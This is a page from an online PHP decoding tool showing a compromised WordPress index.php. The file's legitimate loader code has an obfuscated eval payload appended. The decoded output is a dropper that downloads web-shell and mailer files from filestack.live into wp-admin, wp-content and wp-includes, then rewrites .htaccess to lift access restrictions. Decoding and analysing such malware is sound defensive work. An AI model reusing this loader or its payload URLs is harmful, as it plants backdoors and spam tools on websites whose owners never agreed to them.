Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * Loads the WordPress environment and template. * * @package WordPress ..

Decoded Output download

 error_reporting(0); $p_olux = str_replace("../", "", "/srv/sites/prontoproject.org/wp-admin/I7sjvVxMG3w.php"); $p_mailer = str_replace("../", "", "/srv/sites/prontoproject.org/wp-content/Mykh1v9YNOK.php"); $p_xleet = str_replace("../", "", "/srv/sites/prontoproject.org/wp-includes/LqH1Cnk6UWl.php"); $root = str_replace("../", "", "/srv/sites/prontoproject.org/"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); }  } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); }  } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "8slEaOGF6RX", $mailer); save($p_mailer, $mailer); }  } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); }

Did this file decode correctly?

Original Code

<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

        $wp_did_header = true;

        // Load the WordPress library.
        require_once __DIR__ . '/wp-load.php';

        // Set up the WordPress query.
        wp();

        // Load the theme template.
        require_once ABSPATH . WPINC . '/template-loader.php';

}
ob_start();
?>
<?php $UCnOJ = 'st'.'r'.'_rot'.'13'; $CimMy = 'str'.'rev'; $whygF = 'ba'.'se64'.'_'.'decode'; ini_set('error_log', NULL); error_reporting(0); /**         158daee2641e739304dfd9415057e26f62f2dd60  ***/ eval($whygF($CimMy($UCnOJ('=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')))); ?>

Function Calls

strrev 1
ini_set 1
ob_start 1
str_rot13 1
base64_decode 1
error_reporting 1

Variables

$CimMy strrev
$UCnOJ str_rot13
$whygF base64_decode

Stats

MD5 bef652d70ef1e293e227ecd8074830e3
Eval Count 1
Decode Time 110 ms